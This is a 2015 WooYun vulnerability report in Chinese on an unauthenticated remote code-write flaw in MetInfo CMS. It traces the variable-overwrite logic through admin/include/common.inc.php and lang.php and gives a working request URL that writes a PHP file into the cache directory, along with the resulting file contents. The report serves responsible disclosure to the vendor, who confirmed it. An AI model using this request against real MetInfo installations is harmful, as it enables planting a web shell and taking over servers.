漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-094886
漏洞标题:MetInfo 无需登录前台直接GETSHELL
相关厂商:MetInfo
漏洞作者: menmen519
提交时间:2015-02-02 13:12
修复时间:2015-05-03 13:24
公开时间:2015-05-03 13:24
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-02-02: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向第三方安全合作伙伴开放
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-05-03: 细节向公众公开
简要描述:
MetInfo 无需登录前台GETSHELL 看着metinfo 注入都两个$$ @疯狗 @Finger来一道闪电吧
详细说明:
metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞
代码如下:
admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来
先不说这里,一会儿用得上,我们看一下
admin/include/lang.php:
第一步:
if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser
怎么能让这一句成立
!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')
第一我们得定义ROOTPATH
第二我们知道,php一个全版本的小bug
file_put_contents("d:/a.php/../a.php")这种是不会报错的
但是对于langset 他有限制条件,我们怎么逾越这个条件
此时猜想,若果有一个地方也越权,并且include了lang.php
common.inc.php:
发现了在此处引入,下来我们看
if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');
如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制
后面走到了
lang.php:
1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件
2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
这个查询为空,langset经过构造后 这个肯定是个空
3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可
发送url:
http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f
直接就会在
cache目录下创建一个文件langadmin_123.php
内容为:
<?php
phpinfo();?>//$js='var user_msg = new Array();
';
?>
访问以下
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-02-02 13:22
厂商回复:
是系统漏洞,感谢反馈。
最新状态:
暂无